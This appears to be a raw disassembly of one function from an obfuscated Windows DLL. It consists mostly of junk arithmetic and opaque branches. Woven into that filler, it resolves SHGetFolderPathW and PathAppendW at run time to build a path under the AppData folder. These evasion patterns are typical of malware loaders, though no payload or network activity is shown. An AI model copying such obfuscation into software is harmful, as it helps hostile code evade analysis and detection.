mov esi, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
cdq
push edi
push dword [esp + 0x110]
sub esi, eax
sbb ecx, edx
push ecx
push esi
call fcn.1000f900
not eax
not edx
or eax, edx
je 0x1000ba59
mov ecx, dword [0x10011018]
mov eax, dword [0x1001101c]
shrd ecx, eax, 4
mov word [0x100110c0], cx
jmp 0x1000ba83
cmp word [0x10011034], 0
je 0x1000ba83
movsx ecx, byte [esp + 0xd]
mov eax, dword [0x1001102c]
sub ecx, eax
mov eax, dword [0x1001102c]
add eax, ecx
add byte [esp + 0xb4], 0x21
mov dword [0x1001102c], eax
movzx eax, byte [0x10011010]
cmp eax, dword [esp + 0xc0]
jne 0x1000bac5
mov byte [0x10011012], 0x39
movzx eax, byte [0x10011012]
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
cdq
add ecx, eax
mov byte [esp + 0x64], 0x5b
adc esi, edx
xor eax, eax
cmp dword [0x10011094], ecx
jne 0x1000bac5
cmp eax, esi
je 0x1000b950
mov edi, dword [esp + 0xf4]
mov eax, dword [esp + 0x1bc]
mov ecx, dword [esp + 0x1bc]
xor cl, al
mov eax, dword [esp + 0xe8]
movsx edx, al
mov eax, dword [esp + 0xe8]
movsx ecx, cl
imul edx, ecx
movsx eax, al
movsx ecx, dl
imul eax, ecx
add al, 0x77
mov byte [esp + 0x147], al
movsx eax, byte [0x10011017]
not eax
cmp eax, 0x4bb12a7e
jne 0x1000bb1e
mov ecx, 1
xor eax, eax
jmp 0x1000bb38
xorps xmm0, xmm0
movlpd qword [esp + 0xc0], xmm0
mov eax, dword [esp + 0xc4]
mov ecx, dword [esp + 0xc0]
cmp dword [0x10011054], eax
ja 0x1000bba8
jb 0x1000bb4a
cmp dword [0x10011050], ecx
jae 0x1000bba8
cmp byte [esp + 0xb4], 0
je 0x1000bb80
mov eax, dword [section..data]
mov edx, dword [0x10011008]
xor eax, edx
mov ecx, dword [0x10011004]
mov esi, dword [0x1001100c]
xor ecx, esi
add eax, edx
mov dword [0x10011008], eax
adc ecx, esi
mov dword [0x1001100c], ecx
jmp 0x1000bbfb
push 0xa1805
push 0xc9e8cadf
push dword [0x10011074]
push dword [0x10011070]
call fcn.1000f900
mov dword [0x10011070], eax
mov dword [0x10011074], edx
jmp 0x1000bbfb
mov eax, dword [0x1001102c]
not eax
test eax, eax
je 0x1000bbfb
cmp byte [esp + 0xd], 0
je 0x1000bbfb
mov ecx, dword [esp + 0x4c]
mov eax, dword [esp + 0x68]
mul ecx
mov esi, eax
mov eax, dword [esp + 0x94]
mul ecx
mov ecx, eax
add esi, edx
movsx eax, word [0x10011028]
cdq
sub eax, ecx
mov dword [0x10011098], eax
movzx eax, byte [0x10011010]
sbb edx, esi
add eax, 0x1db
mov dword [0x1001109c], edx
mov dword [0x10011020], eax
mov eax, dword [0x10011098]
mov ecx, dword [0x1001109c]
shld ecx, eax, 1
mov byte [esp + 0x14f], 0
add eax, eax
sub eax, dword [esp + 0x88]
mov dword [0x10011098], eax
sbb ecx, dword [esp + 0xa4]
xor edx, edx
movzx eax, byte [0x10152977]
mov dword [esp + 0xb0], eax
mov eax, 0x2e
mov word [esp + 0x1d0], ax
mov dword [0x1001109c], ecx
movzx ecx, byte [esp + 0xb]
mov eax, dword [0x10011078]
cmp ecx, eax
setge dl
cmp byte [esp + 0xb], 0x24
sbb eax, eax
inc eax
cmp edx, eax
jb 0x1000bca5
mov eax, dword [esp + 0x50]
sub esp, 0x14
mov ecx, dword [esp + 0x68]
call fcn.10001670
add esp, 0x14
mov word [0x1001103c], ax
test ax, ax
jns 0x1000bc9c
movzx eax, byte [0x10011013]
add eax, 0x2a
mov dword [0x100110b0], 0xc9e8ac13
mov dword [0x10011064], eax
movsx eax, di
cdq
jmp 0x1000bd8e
mov ax, word [esp + 0x5c]
cwde
cdq
mov ecx, eax
mov edi, edx
mov eax, dword [esp + 0x40]
mov edx, dword [esp + 0x44]
mov dword [esp + 0xa0], ecx
cmp eax, ecx
jne 0x1000bcd2
mov dword [esp + 0xe8], 1
cmp edx, edi
je 0x1000bcdd
mov dword [esp + 0xe8], 0
movsx eax, word [0x10011030]
mov esi, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
cdq
push edx
push eax
push ecx
push esi
call fcn.1000f900
or eax, edx
jne 0x1000bd01
mov eax, 1
jmp 0x1000bd03
xor eax, eax
cmp dword [esp + 0xe8], eax
ja 0x1000bd95
mov eax, dword [esp + 0x64]
mov ecx, dword [esp + 0x94]
mov esi, dword [esp + 0x68]
movzx eax, al
cdq
xor eax, ecx
xor edx, esi
add ecx, eax
mov dword [esp + 0x94], ecx
mov ecx, dword [0x10011040]
adc esi, edx
mov eax, dword [0x10011044]
or ecx, eax
mov dword [esp + 0x68], esi
jne 0x1000bd4c
mov eax, 0x50fb8643
jmp 0x1000bd66
xorps xmm0, xmm0
movlpd qword [esp + 0xc0], xmm0
mov ecx, dword [esp + 0xc4]
mov eax, dword [esp + 0xc0]
push dword [0x100110a4]
push dword [0x100110a0]
push ecx
push eax
call fcn.1000f900
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0xa0]
mov dword [esp + 0xa4], edx
mov dword [esp + 0xa0], eax
mov ecx, dword [esp + 0x30]
mov eax, 0x74
mov esi, dword [esp + 0x34]
add ecx, 1
mov word [esp + 0x1d6], ax
mov eax, 0xe001
mov word [0x100110b8], ax
adc esi, 0
movzx eax, word [0x100110b8]
cdq
cmp eax, ecx
jne 0x1000bdfa
cmp edx, esi
jne 0x1000bdfa
mov eax, dword [esp + 0x60]
add eax, dword [esp + 0x78]
cdq
mov ecx, eax
mov esi, edx
movsx eax, word [0x1001106c]
cdq
sub eax, ecx
sbb edx, esi
add eax, dword [esp + 0x88]
mov dword [esp + 0x40], eax
adc edx, dword [esp + 0xa4]
mov dword [esp + 0x44], edx
cmp dword [esp + 0x4c], 0
mov eax, 0xe001
mov word [0x100110b8], ax
je 0x1000be15
mov eax, dword [esp + 0xa0]
jmp 0x1000be1d
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
mov byte [0x10011026], al
movsx eax, word [0x10011028]
add eax, 0x607d3289
mov dword [esp + 0x78], eax
mov eax, 0x70
mov word [esp + 0x1ce], ax
mov byte [esp + 0xe], 0xd0
mov eax, dword [0x10011040]
mov ecx, dword [0x10011044]
mov ax, word [0x10011024]
mov eax, dword [0x1001107c]
mov dx, word [0x100110b8]
mov ecx, dword [0x1001109c]
mov dword [esp + 0xc0], eax
mov al, byte [0x10011020]
mov dword [esp + 0xc4], 0
mov byte [esp + 0xe], dl
mov byte [esp + 0xe], al
mov eax, dword [0x10011098]
mov dword [esp + 0xc0], 0x1eed
mov dword [esp + 0xc4], 0
mov dword [esp + 0xc0], eax
movsx eax, word [0x10011030]
mov dword [esp + 0xc4], ecx
mov dword [esp + 0xc0], eax
mov al, byte [0x10011013]
mov byte [esp + 0xf], dl
mov ecx, dword [0x10011018]
mov word [esp + 0xb4], ax
mov eax, dword [0x1001101c]
mov dword [esp + 0xc0], ecx
mov ecx, dword [section..data]
mov eax, dword [0x10011004]
mov byte [esp + 0xe], cl
mov dword [esp + 0xc0], 0xfd3e
mov dword [esp + 0xc4], 0
mov eax, dword [0x1001102c]
mov ax, word [0x10011060]
mov ax, word [0x100110b4]
movzx eax, word [0x10011090]
mov word [esp + 0x90], ax
movsx eax, byte [0x10011017]
cdq
mov dword [esp + 0xc0], eax
mov eax, dword [0x1001108c]
mov dword [esp + 0xc4], edx
mov dword [esp + 0xc0], eax
movzx eax, byte [0x10011013]
cdq
sub dword [0x10011098], eax
movsx eax, byte [esp + 0xf]
sbb dword [0x1001109c], edx
sub eax, 0x47
cmp byte [esp + 0xb4], 0x31
mov dword [esp + 0xc0], eax
jb 0x1000c1f1
mov eax, dword [0x10011018]
mov ecx, dword [0x1001101c]
mov eax, dword [0x10011020]
mov word [esp + 0x90], ax
mov dword [esp + 0xe8], 0x7e6d3a1c
mov byte [esp + 0xe], 0xf5
movzx eax, word [0x10011060]
mov dword [esp + 0xc0], eax
mov eax, dword [0x10011058]
mov ecx, dword [0x1001105c]
mov dword [esp + 0x110], eax
mov dword [esp + 0x114], ecx
mov eax, dword [esp + 0xec]
mov word [esp + 0x90], ax
mov eax, dword [0x10011080]
mov dword [esp + 0x110], eax
mov al, byte [0x10011070]
mov dword [esp + 0x110], 0x5e60
mov byte [esp + 0xf], al
mov dx, word [0x10011024]
movzx eax, byte [0x10011015]
mov dword [esp + 0x110], eax
mov dword [esp + 0x110], 0x4b57
mov dword [esp + 0x114], 0
mov eax, dword [0x1001102c]
mov dword [esp + 0xf4], eax
mov eax, dword [0x10011038]
mov al, byte [0x10011094]
mov dword [esp + 0x110], 0x16
mov dword [esp + 0x114], 0
mov byte [esp + 0xe], al
movzx eax, word [0x10011024]
mov dword [esp + 0x110], eax
movsx ecx, byte [esp + 0xf]
movsx eax, dl
mov edx, dword [esp + 0xe8]
imul ecx, eax
xor eax, eax
imul edx, ecx
cmp dword [0x100110a8], eax
mov cx, word [0x10011028]
sete al
xor cx, ax
not cx
add cx, dx
add cx, word [0x10011068]
mov word [0x10011090], cx
mov ecx, dword [0x10011078]
movzx eax, word [0x100110b8]
sub ecx, eax
mov eax, dword [0x1001107c]
xor ecx, dword [0x10011070]
add eax, 0x2ea
imul eax, eax, 0x8a3e
sub ecx, eax
movsx eax, byte [0x10011014]
mov dword [esp + 0xe8], ecx
sub eax, 0xa8
mov dword [esp + 0xc0], eax
mov ax, word [0x100110b4]
mov eax, dword [esp + 0xf4]
mov byte [esp + 0xd], al
cmp byte [esp + 0xd], 0
je 0x1000c157
cmp dword [esp + 0x7c], 0
je 0x1000c10e
cmp word [0x100110c0], 0
je 0x1000c10e
mov eax, 1
jmp 0x1000c110
xor eax, eax
mov ecx, dword [esp + 0x64]
movzx edx, cl
mov ecx, edx
or ecx, eax
movsx eax, word [0x10011030]
cmp ecx, eax
jge 0x1000c13d
mov eax, dword [0x100110a8]
add eax, 0x6e1b
not eax
mov word [0x10011030], ax
jmp 0x1000c2be
imul eax, edx, 0xe37bb95f
mov dword [0x10011054], 0
mov dword [0x10011050], eax
jmp 0x1000c2be
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
or ecx, eax
jne 0x1000c16a
mov ecx, 1
jmp 0x1000c16c
xor ecx, ecx
movzx eax, byte [esp + 0xa]
not eax
sub eax, ecx
test eax, eax
jle 0x1000c18b
mov al, byte [0x10082928]
mov word [esp + 0xb4], ax
jmp 0x1000c2be
mov al, byte [0x10011026]
cmp al, byte [esp + 0xb]
jbe 0x1000c2be
push dword [0x10011084]
push dword [0x10011080]
push 0
push dword [0x100110b0]
call fcn.1000f900
or eax, edx
jne 0x1000c1bc
lea ecx, [eax + 1]
jmp 0x1000c1be
xor ecx, ecx
movzx eax, byte [0x10011016]
xor eax, dword [0x1001107c]
add eax, ecx
mov dword [esp + 0x68], 0
mov ecx, dword [0x10011064]
add ecx, eax
mov dword [esp + 0x60], 4
mov dword [esp + 0x94], ecx
jmp 0x1000c2be
mov edi, dword [esp + 0x20]
mov eax, edi
mov esi, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
cdq
cmp ecx, edx
jg 0x1000c221
jl 0x1000c20a
cmp esi, eax
jae 0x1000c221
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
shrd ecx, eax, 7
mov dword [0x10011078], ecx
jmp 0x1000c2be
mov eax, dword [esp + 0x78]
movzx ecx, byte [0x10011015]
not eax
cmp ecx, eax
je 0x1000c25e
mov ax, word [esp + 0x5c]
sar ax, 5
mov word [esp + 0x8c], ax
imul eax, dword [0x10011020], 0x513f1538
mov dword [0x10011058], eax
mov dword [0x1001105c], 0
jmp 0x1000c2be
cmp word [0x100110c0], 0
jne 0x1000c271
test edi, edi
jne 0x1000c271
or edx, 0xffffffff
jmp 0x1000c276
mov edx, 0xfffffffe
mov ecx, dword [esp + 0x7c]
xor eax, eax
or eax, dword [esp + 0x68]
or ecx, dword [esp + 0x94]
push 0xffffffffffffffff
push edx
push eax
push ecx
call fcn.1000f900
or eax, edx
je 0x1000c2be
mov eax, 0xffff
add word [0x100110b8], ax
mov eax, dword [esp + 0x88]
or eax, dword [esp + 0xa4]
jne 0x1000c2be
mov eax, dword [esp + 0x110]
mov word [0x100110ac], ax
mov eax, dword [esp + 0xbc]
mov ecx, dword [esp + 0xbc]
xor ecx, eax
movzx eax, cx
mov ecx, dword [esp + 0xbc]
sub ecx, eax
mov eax, dword [esp + 0xbc]
movzx edx, ax
mov eax, dword [esp + 0xbc]
imul eax, dword [esp + 0x120]
movzx esi, cx
mov ecx, dword [esp + 0x120]
sub edx, esi
add ecx, dword [esp + 0x1e4]
mov dword [esp + 0x120], 1
movzx eax, ax
xor ecx, eax
mov eax, 0x65
imul ecx, edx
mov edx, 0xa2
mov word [esp + 0x1ca], ax
mov eax, dword [0x10011020]
mov dword [esp + 0x20], eax
mov eax, 0x74
mov word [esp + 0x1d2], ax
mov eax, dword [0x10011058]
add ecx, 0x64
mov word [esp + 0x1c8], cx
mov ecx, dword [0x1001105c]
mov eax, dword [esp + 0xf0]
mov eax, dword [esp + 0x1e8]
mov eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
xor ecx, eax
mov eax, dword [esp + 0x1ec]
sub edx, eax
movzx ecx, cx
imul edx, ecx
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
add edx, 0x78
or ecx, eax
mov word [esp + 0x1d4], dx
je 0x1000c3a6
mov dword [esp + 0x120], 0
mov ecx, dword [0x10011064]
mov eax, dword [esp + 0x60]
neg ecx
not eax
sbb ecx, ecx
imul edx, eax, 0xc3
movzx eax, word [0x10011024]
inc ecx
xor edx, ecx
mov cl, byte [0x100110a8]
sub cl, al
xor cl, byte [esp + 0x120]
add cl, dl
mov byte [0x10011026], cl
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0xb8]
xor ecx, eax
mov eax, dword [esp + 0x1f0]
movzx edx, ax
mov eax, dword [esp + 0xb8]
movzx esi, ax
mov eax, dword [esp + 0xb8]
sub esi, edx
add eax, 0x18e
movzx edi, cx
movzx ecx, ax
mov eax, dword [esp + 0xb8]
imul esi, dword [esp + 0xd0]
movzx eax, ax
imul esi, ecx
mov ecx, dword [section..data]
imul esi, edi
mov edi, dword [0x10011004]
imul esi, eax
add esi, 0x65
mov word [esp + 0x1cc], si
movsx esi, word [esp + 0x8c]
mov eax, esi
cdq
cmp eax, ecx
jne 0x1000c45a
cmp edx, edi
je 0x1000c473
movzx eax, word [0x10011024]
imul eax, eax, 0x30256e9c
cdq
mov dword [esp + 0x70], eax
mov dword [esp + 0x98], edx
mov ecx, dword [esp + 0x68]
xor eax, eax
push ecx
mov word [esp + 0x1dc], ax
mov eax, dword [esp + 0x98]
push eax
push ecx
push eax
call fcn.1000f900
mov ecx, dword [esp + 0xdc]
mov edi, edx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0xf8]
xor al, cl
mov dword [esp + 0x6c], edi
mov ecx, dword [esp + 0x104]
mov edx, dword [esp + 0x104]
xor dl, cl
movsx eax, al
movsx ecx, dl
imul ecx, eax
mov al, 0x45
mov byte [esp + 0x131], 0x74
mov byte [esp + 0x132], 0x72
sub al, cl
mov byte [esp + 0x12f], al
mov eax, dword [0x10011050]
or eax, dword [0x10011054]
je 0x1000c4fd
mov ecx, dword [esp + 0x64]
imul eax, esi, 0xbbb66d25
mov dword [0x100110b0], eax
jmp 0x1000c511
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
add cl, 0x26
mov eax, dword [0x100110b0]
mov dword [esp + 0x64], ecx
mov byte [esp + 0x12e], 0x6c
cmp eax, dword [0x10011094]
jne 0x1000c60a
cmp word [0x10011028], 0
jne 0x1000c580
movzx edx, byte [esp + 0xb]
movzx eax, cl
movsx ecx, word [0x10011098]
movsx esi, ax
movsx eax, byte [0x10011014]
imul esi, ecx
cwde
movsx ecx, dx
imul eax, ecx
add si, ax
mov eax, 0x271e
sub si, word [esp + 0x8c]
add si, word [0x10011034]
sub si, ax
movzx eax, si
mov dword [esp + 0x5c], eax
mov word [esp + 0x8c], ax
jmp 0x1000c60a
xor eax, eax
cmp dword [0x100110a8], eax
sete al
cmp dword [0x10011078], eax
je 0x1000c5c3
mov ecx, dword [0x10011058]
mov eax, dword [0x1001105c]
or ecx, eax
jne 0x1000c5c3
cmp byte [esp + 0x64], cl
je 0x1000c60a
mov edi, 0xbe518
mov dword [esp + 0x68], 0xd3d3b882
mov dword [esp + 0x6c], edi
mov dword [esp + 0x20], 0xb335
jmp 0x1000c60a
cmp dword [esp + 0x88], 0
mov eax, dword [0x10011018]
mov ecx, dword [0x1001101c]
mov dword [esp + 0xf8], eax
jne 0x1000c5ff
cmp dword [esp + 0xa4], 0
jne 0x1000c5ff
mov dword [0x10011050], 1
mov dword [0x10011054], 0
jmp 0x1000c60a
xorps xmm0, xmm0
movlpd qword [0x10011050], xmm0
mov eax, dword [esp + 0x11c]
movsx ecx, byte [esp + 0xc8]
movsx edx, al
mov eax, dword [esp + 0x11c]
movsx eax, al
imul edx, ecx
movsx ecx, byte [esp + 0xc8]
imul eax, ecx
mov word [esp + 0x12c], 0x6c44
sub dl, al
mov eax, 0x8ed1
add dl, 0x79
mov byte [esp + 0x133], dl
mov word [0x100110b4], ax
mov eax, dword [esp + 0x20]
movzx eax, al
imul eax, eax, 0xe1
mov byte [0x10011011], al
mov eax, 0xfffff522
mov word [0x10011028], ax
movsx eax, word [0x10011028]
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
cdq
add ecx, eax
movsx eax, word [0x10011088]
adc esi, edx
cdq
cmp eax, ecx
jne 0x1000c746
cmp edx, esi
jne 0x1000c746
mov edi, 0xfffff522
sub esp, 0x28
call fcn.100012c0
add esp, 0x28
mov dword [esp + 0x64], eax
test al, al
jne 0x1000c6c8
mov ecx, dword [0x10011018]
mov edx, dword [0x1001101c]
mov cl, byte [0x10011010]
movzx eax, byte [esp + 0xa]
mov ecx, dword [0x10011040]
mov esi, dword [0x10011044]
cdq
add eax, 0x63
adc edx, 0
cmp ecx, eax
jne 0x1000c742
cmp esi, edx
jne 0x1000c742
mov dl, byte [0x10011010]
mov al, byte [esp + 0xb]
mov cl, byte [esp + 0xb]
add cl, al
add cl, dl
mov byte [esp + 0xb], cl
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
or ecx, eax
jne 0x1000c713
mov al, byte [0x10011094]
mov dword [esp + 0x64], eax
mov word [0x10011028], di
movsx eax, word [0x10011028]
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
cdq
add ecx, eax
movsx eax, word [0x10011088]
adc esi, edx
cdq
cmp eax, ecx
jne 0x1000c742
cmp edx, esi
je 0x1000c6a3
mov edi, dword [esp + 0x6c]
mov ecx, dword [0x10011058]
mov eax, dword [0x1001105c]
not ecx
not eax
or ecx, eax
je 0x1000c76b
mov al, byte [esp + 0x7c]
add al, 0x1f
mov byte [0x10011017], al
mov byte [esp + 0xb], 0x8d
jmp 0x1000c790
cmp byte [esp + 0xa], 0
jne 0x1000c790
movzx eax, byte [0x10011013]
add eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x68]
cdq
sub ecx, eax
mov eax, edi
mov dword [esp + 0x50], ecx
sbb eax, edx
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0xcc]
movsx ax, byte [0x10011014]
mov byte [esp + 0x130], 0x6e
cmp word [0x10011030], ax
jle 0x1000c7ba
mov eax, dword [0x10011094]
mov dword [0x1010a0c8], eax
mov eax, dword [esp + 0x74]
mov cl, 0x4a
mov edx, dword [esp + 0x74]
sub dl, al
mov eax, dword [esp + 0x84]
sub cl, al
movsx eax, cl
movsx ecx, dl
imul ecx, eax
mov eax, dword [0x100110bc]
cdq
mov byte [esp + 0x134], cl
cmp edx, dword [esp + 0x98]
jg 0x1000c80b
jl 0x1000c7f6
cmp eax, dword [esp + 0x70]
ja 0x1000c80b
mov eax, dword [esp + 0x64]
add al, byte [esp + 0x20]
mov dword [esp + 0x64], eax
mov al, byte [0x10082928]
mov byte [esp + 0xb], al
push str.SHGetFolderPathW
lea eax, [esp + 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x2c]
mov esi, eax
sub edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x10]
sub edx, ecx
mov dword [esp + 0x84], esi
cmp dword [esp + 0x2c], edx
je 0x1000f024
mov eax, 0x9622
mov word [0x10011034], ax
mov ax, word [esp + 0x8c]
cwde
lea edi, [eax + 0x9622]
cmp dword [0x100110b0], edi
jne 0x1000c90f
mov eax, dword [esp + 0x70]
movzx eax, ax
mov dword [esp + 0x10], eax
nop word [eax + eax]
sub dword [esp + 0xb0], eax
movzx eax, byte [esp + 0xa]
cdq
add eax, 0x9935
adc edx, 0
cmp dword [0x10011080], eax
jne 0x1000c908
cmp dword [0x10011084], edx
jne 0x1000c908
movsx eax, word [0x10011090]
mov esi, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
cdq
xor edx, 0xfff5e7fa
xor eax, 0x36173520
push edx
push eax
push ecx
push esi
call fcn.1000f900
add eax, dword [esp + 0x7c]
mov dword [0x10011040], eax
mov eax, 0x2deb
adc edx, 0
sub eax, dword [0x100110a0]
add word [0x100110c0], ax
mov eax, 0x9622
mov word [0x10011034], ax
mov eax, dword [esp + 0x10]
mov dword [0x10011044], edx
cmp dword [0x100110b0], edi
je 0x1000c880
mov esi, dword [esp + 0x84]
lea eax, [esp + 0x338]
push eax
push 0
push 0
push 0x1a
push 0
call esi
test eax, eax
js 0x1000f024
mov esi, dword [esp + 0x70]
mov edi, 0x5289
mov edx, dword [esp + 0x98]
add esi, 0x51
mov word [0x100110b8], di
adc edx, 0
cmp dword [0x10011048], esi
jne 0x1000c9c7
cmp dword [0x1001104c], edx
jne 0x1000c9c7
nop word [eax + eax]
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
add eax, dword [0x10011070]
adc ecx, dword [0x10011074]
cmp eax, 1
jne 0x1000c9c7
test ecx, ecx
jne 0x1000c9c7
cmp dword [esp + 0x20], ecx
je 0x1000c98e
mov al, byte [0x10082928]
mov byte [esp + 0xc], al
jmp 0x1000c9b0
cmp byte [0x10011026], 0
je 0x1000c9b0
mov eax, dword [0x10011038]
sub eax, 0x4341
mov dword [0x10011040], eax
mov dword [0x10011044], 0
mov word [0x100110b8], di
cmp dword [0x10011048], esi
jne 0x1000c9c7
cmp dword [0x1001104c], edx
je 0x1000c960
mov edx, dword [0x10011038]
xor esi, esi
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
cmp esi, eax
jl 0x1000c9ee
jg 0x1000c9e1
cmp edx, ecx
jb 0x1000c9ee
mov eax, 0x6078
mov word [0x10011090], ax
jmp 0x1000c9fb
movzx eax, byte [esp + 0xc]
xor eax, 0x48
mov dword [0x100110b0], eax
mov eax, dword [0x10082928]
mov edi, dword [0x1001104c]
mov esi, dword [0x10011048]
mov dword [esp + 0x2c], eax
movzx eax, byte [0x10011015]
cdq
cmp edi, edx
ja 0x1000ca29
jb 0x1000ca22
cmp esi, eax
ja 0x1000ca29
mov ecx, 1
jmp 0x1000ca2b
xor ecx, ecx
test edi, edi
ja 0x1000ca3d
jb 0x1000ca36
cmp esi, 0xb
ja 0x1000ca3d
mov eax, 1
jmp 0x1000ca3f
xor eax, eax
cmp ecx, eax
ja 0x1000cb09
mov eax, dword [esp + 0x68]
or eax, dword [esp + 0x6c]
je 0x1000cb09
mov eax, dword [0x100110a0]
or eax, dword [0x100110a4]
jne 0x1000ca73
mov dword [esp + 0x74], 1
mov dword [esp + 0xc8], eax
jmp 0x1000ca8f
xorps xmm0, xmm0
movlpd qword [esp + 0x10], xmm0
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc8], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x74], eax
movsx eax, word [esp + 0x8c]
cdq
or eax, 0x6fa5721f
or edx, 0xfff82bfb
cmp eax, dword [esp + 0x70]
jne 0x1000cabb
cmp edx, dword [esp + 0x98]
jne 0x1000cabb
mov esi, 1
xor edi, edi
jmp 0x1000cacc
xorps xmm0, xmm0
movlpd qword [esp + 0x10], xmm0
mov edi, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
movzx eax, word [0x10011060]
xor edx, edx
cmp dword [esp + 0x78], edx
sete dl
add edx, eax
mov eax, dword [0x10011058]
sub eax, dword [esp + 0x74]
mov ecx, dword [0x1001105c]
not eax
sbb ecx, dword [esp + 0xc8]
sub eax, edx
not ecx
sbb ecx, 0
add eax, esi
mov dword [esp + 0x40], eax
adc ecx, edi
mov dword [esp + 0x44], ecx
mov eax, dword [esp + 0x2c]
add eax, 0x304
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x2c]
movups xmm0, xmmword [str.In_out_parameter_i]
add eax, 0x2f1
mov dword [esp + 0x10], eax
mov eax, dword [0x1001018c]
mov dword [esp + 0x260], eax
mov ax, word [0x10010190]
movups xmmword [esp + 0x240], xmm0
mov word [esp + 0x264], ax
lea eax, [esp + 0x240]
movups xmm0, xmmword [0x1001017c]
push eax
movups xmmword [esp + 0x254], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [0x1001107c], eax
mov eax, dword [esp + 0x2c]
add eax, 0x2e3
mov dword [esp + 0x84], eax
mov ecx, dword [esp + 0x10]
imul ecx, dword [esp + 0x74]
mov eax, dword [esp + 0x84]
add eax, ecx
cmp eax, dword [esp + 0x74]
je 0x1000f024
cmp byte [esp + 0xb4], 0
movzx eax, word [0x10011034]
jne 0x1000cbb0
mov eax, dword [0x1001108c]
mov dx, word [0x10011028]
mov ecx, dword [esp + 0x38]
not dl
sub dl, byte [0x100110ac]
sub cl, 0x29
mov dword [0x10011050], eax
not dl
mov eax, dword [esp + 0x3c]
add cl, dl
add cl, byte [0x100110b8]
mov eax, dword [0x10082928]
mov dword [0x10011054], 0
mov byte [esp + 0xd], cl
mov dword [esp + 0x2c], eax
movsx eax, byte [0x10011017]
cdq
cmp dword [0x100110a0], eax
jne 0x1000cc0c
cmp dword [0x100110a4], edx
jne 0x1000cc0c
xor ecx, ecx
jmp 0x1000cc11
mov ecx, 1
mov eax, dword [0x100110bc]
add eax, ecx
je 0x1000cc2a
mov ax, word [0x10011060]
inc ax
mov word [0x10011060], ax
jmp 0x1000cc5f
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
not ecx
not eax
test eax, eax
jg 0x1000cc5f
jl 0x1000cc41
cmp ecx, 0x56
ja 0x1000cc5f
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x30]
add eax, 0x79ef
mov word [0x10011034], ax
add cl, 0x23
mov eax, dword [esp + 0x34]
mov byte [esp + 0xa], cl
mov eax, dword [esp + 0x2c]
add eax, 0x319
mov dword [esp + 0x84], eax
mov eax, dword [esp + 0x2c]
add eax, 0x44a
mov dword [esp + 0xf8], eax
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
add ecx, 0x6ff4
mov eax, dword [esp + 0x60]
add eax, ecx
mov dword [esp + 0x60], eax
mov eax, dword [0x10082928]
mov dword [0x10011094], eax
mov eax, dword [esp + 0x2c]
add eax, 0x33a
mov dword [esp + 0xcc], eax
mov al, byte [esp + 0xa]
and al, byte [esp + 0x70]
mov byte [esp + 0xa], al
movzx eax, word [0x10011024]
sub eax, 0x3c
mov dword [0x10011064], eax
lea eax, [esp + 0x144]
push str.PathAppendW
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
movzx eax, byte [esp + 0xc]
push dword [0x1001109c]
cdq
push dword [0x10011098]
push edx
push eax
call fcn.1000f900
mov dword [0x10011098], eax
lea eax, [esp + 0x1c8]
push eax
lea eax, [esp + 0x33c]
mov dword [0x1001109c], edx
push eax
call esi
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
call fcn.10001560
mov dword [esp + 0x60], eax
xor edx, edx
mov eax, dword [esp + 0x60]
cmp eax, 0x64
mov eax, dword [esp + 0x60]
setle dl
xor ecx, ecx
test eax, eax
setle cl
cmp ecx, edx
jb 0x1000cd6a
mov ecx, dword [0x100110bc]
test ecx, ecx
movzx edx, byte [0x10011088]
movzx eax, byte [0x100110bc]
cmovne edx, eax
mov byte [esp + 0xac], dl
mov al, byte [esp + 0xa]
lea edx, [esp + 0x1e0]
sub al, 0x3f
lea ecx, [esp + 0x338]
mov byte [0x10011011], al
call fcn.10004750
mov edi, eax
mov dword [0x10011080], 0x63
movzx eax, byte [esp + 0xa]
cdq
add eax, 0x63
mov dword [esp + 0x94], edi
mov dword [0x10011084], 0
adc edx, 0
cmp dword [0x10011080], eax
jne 0x1000ce0a
cmp dword [0x10011084], edx
jne 0x1000ce0a
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
add eax, 0x9935
adc ecx, 0
xor edx, edx
cmp dword [0x10011020], eax
jne 0x1000ce0a
mov ecx, dword [esp + 0x4c]
mov esi, dword [esp + 0x78]
sub ecx, esi
mov eax, dword [esp + 0x4c]
sub ecx, eax
mov dword [0x10011080], 0x63
mov dword [0x10011084], 0
mov dword [esp + 0x4c], ecx
test edi, edi
je 0x1000f024
mov eax, dword [esp + 0x68]
add eax, 0xffffa20b
mov word [0x100110b8], ax
movsx eax, word [esp + 0x8c]
add eax, 0xffffff20
cdq
mov dword [0x10011058], eax
